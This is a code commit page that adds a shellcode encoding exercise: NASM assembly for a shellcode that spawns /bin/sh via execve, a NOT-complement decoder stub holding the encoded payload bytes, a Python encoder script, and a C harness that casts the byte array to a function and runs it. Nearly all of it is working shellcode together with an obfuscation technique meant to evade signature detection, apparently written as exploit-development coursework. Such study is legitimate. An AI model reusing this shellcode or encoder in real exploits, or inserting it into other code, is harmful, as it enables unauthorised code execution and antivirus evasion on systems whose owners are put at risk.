Skip to content

Commit 0e8b7a1

Browse files
Add files via upload
1 parent 5ea99a9 commit 0e8b7a1

File tree

9 files changed

+112
-0
lines changed

9 files changed

+112
-0
lines changed

Shellcode/NOT_Encoder_Decoder/binsh

524 Bytes
Binary file not shown.
+40
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
; binsh.nasm
2+
; Author: Kunal Varudkar
3+
; Develope a shellcode to execute /bin/sh
4+
5+
6+
global _start
7+
8+
section .text
9+
10+
_start:
11+
12+
13+
; push Null dword on the stack
14+
xor eax, eax
15+
push eax
16+
17+
; push /bin//////sh in reverse order to stack (strlen=even)
18+
push 0x68732f2f
19+
push 0x2f2f2f2f
20+
push 0x6e69622f
21+
22+
; Moving //bin/sh to ebx register
23+
mov ebx, esp
24+
25+
; push Null on stack
26+
push eax
27+
28+
; pointing esp to edx (envp[]=NULL)
29+
mov edx, esp
30+
31+
; push the address of //bin/sh stored in ebx
32+
push ebx
33+
34+
; point the top tof the stack to ECX[argv[]]
35+
mov ecx, esp
36+
37+
; call syscall
38+
mov al, 0xb ; or 11
39+
int 0x80
40+

Shellcode/NOT_Encoder_Decoder/binsh.o

464 Bytes
Binary file not shown.

Shellcode/NOT_Encoder_Decoder/decoder

640 Bytes
Binary file not shown.
+26
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
; decoder.nasm
2+
; Author: Kunal Varudkar
3+
; Development of NOT decoder
4+
5+
6+
global _start
7+
8+
section .text
9+
_start:
10+
jmp short call_decoder
11+
12+
decoder:
13+
pop esi
14+
xor ecx, ecx
15+
mov cl, 30
16+
17+
decode:
18+
not byte [esi]
19+
inc esi
20+
loop decode
21+
22+
jmp short Shellcode
23+
24+
call_decoder:
25+
call decoder
26+
Shellcode: db 0xce,0x3f,0xaf,0x97,0xd0,0xd0,0x8c,0x97,0x97,0xd0,0xd0,0xd0,0xd0,0x97,0xd0,0x9d,0x96,0x91,0x76,0x1c,0xaf,0x76,0x1d,0xac,0x76,0x1e,0x4f,0xf4,0x32,0x7f
592 Bytes
Binary file not shown.
+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# encoder.py
2+
# Author: Kunal Varudkar
3+
# NOT encoder program for shellcode
4+
5+
6+
#!/usr/bin/python
7+
8+
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
9+
10+
enc1 = ""
11+
enc2 = ""
12+
13+
print 'Encoded Shellcode....'
14+
15+
for x in bytearray(shellcode):
16+
#Complement Encoding
17+
y = ~x
18+
19+
enc1 += '\\x'
20+
enc1 += '%02x' % (y & 0xff)
21+
22+
enc2 += '0x'
23+
enc2 += '%02x,' % (y & 0xff)
24+
25+
print enc1 + '\n'
26+
print enc2 + '\n'
27+
28+
print 'Len: %d' % len(bytearray(shellcode))

Shellcode/NOT_Encoder_Decoder/test

7.31 KB
Binary file not shown.

Shellcode/NOT_Encoder_Decoder/test.c

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
// test.c
2+
// Author: Kunal Varudkar
3+
// Test program to execute the shellcode
4+
5+
#include<stdio.h>
6+
#include<string.h>
7+
8+
unsigned char code[] = \
9+
"\xeb\x0c\x5e\x31\xc9\xb1\x1e\xf6\x16\x46\xe2\xfb\xeb\x05\xe8\xef\xff\xff\xff\xce\x3f\xaf\x97\xd0\xd0\x8c\x97\x97\xd0\xd0\xd0\xd0\x97\xd0\x9d\x96\x91\x76\x1c\xaf\x76\x1d\xac\x76\x1e\x4f\xf4\x32\x7f";
10+
11+
main()
12+
{
13+
14+
printf("Shellcode Length: %d\n", strlen(code));
15+
int (*ret)() = (int(*)())code;
16+
ret();
17+
18+
}

0 commit comments

Comments
 (0)